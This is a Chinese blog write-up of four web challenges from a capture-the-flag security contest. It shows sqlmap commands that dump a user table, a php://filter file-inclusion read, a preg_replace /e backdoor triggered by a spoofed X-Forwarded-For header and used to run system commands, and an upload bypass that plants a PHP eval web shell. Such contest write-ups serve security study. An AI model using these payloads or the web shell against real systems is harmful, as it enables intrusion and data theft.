赛博地球杯网安大赛web部分Writeup

0X00 前言

菜却坚强……

0X01 大量设备报表不见了

脑洞题…看到这个url首先想到sql注入,但是一顿乱锤毫无进展,看来不是sql注入

爆破id试试

id=2333时爆出flag

0X02 工控管理系统新版本

大致浏览一下有login.php,regist.php,findpwd.php这三个页面
在findpwd.php页面发现搜索框存在sql注入并且fuzz测试无任何过滤,直接上sqlmap吧,懒得动手了

爆数据库名:cetc004

sqlmap -u http://111.198.29.45:32509/findpwd.php –data “username=1” –dbs

爆表名:user

sqlmap -u http://111.198.29.45:32509/findpwd.php –data “username=1” -D cetc004 –tables

爆列名:answer,password,question,username

sqlmap -u http://111.198.29.45:32509/findpwd.php –data “username=1” -D cetc004 -T user –columns

爆内容:没想多少干脆全爆出来,愣是跑了近一个小时,后悔了……其实只要将username爆出来就行了,密码是md5加密的,到处解没解出来

sqlmap -u http://111.198.29.45:32509/findpwd.php –data “username=1” -D cetc004 -T user -C “answer,password,question,username” –dump

后两条信息是我创的,第一条是原本的网站管理账号,只要用管理账号的用户名再去注册一个账号再登录进去就能getflag了

0X03 工控云管理系统设备维护中心被植入后门

http://111.198.29.45:32548/index.php?page=index
看到这url第一反应就是文件包含

http://111.198.29.45:32548/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

拿去base64解密
关键部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>

代码审计可知要将XFF改为127.0.0.1才能触发后门。这是一个preg_replace()后门。/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。但要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含preg_replace() 的行中出现语法解析错误。
payload:

pat=/a/e&rep=phpinfo()&sub=a

之后可以通过system()等函数命令执行

pat=/a/e&rep=system(“cat s3chahahaDir/flag/flag.php”)&sub=a

查看源代码getflag

0X04 工控云管理系统项目管理页面解析漏洞

题目给了源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>

在这一段代码中我们需要绕过if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9')使$_SESSION['admin'] = True。此外还有一个隐藏的限制:mysql查询结果的限制,id大了查询不到。我们可以构造id=1\09来绕过这部分限制。

第二部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
  • 这里的$filename = "backup/".$file;目录为假目录需要绕过。
  • 正则表达式if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename))对文件后缀进行过滤
  • 真实的上传目录为uploaded
    我们可以通过$file加../绕过假目录。正则匹配只匹配最后一个点的后缀,可以通过../cryscat.php/1.php/..绕过。

payload(post)

con=<?php @eval($_POST[‘cryscat’]);?>&file=../cryscat.php/1.php/..

之后用菜刀连接就行了,flag在html文件夹的flag.php文件中。

文章作者: Cryscat
文章链接: http://www.cryscat.com/2019/03/03/赛博地球杯网安大赛web部分Writeup/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Cryscat's Blog
打赏
  • 微信
  • 支付宝

评论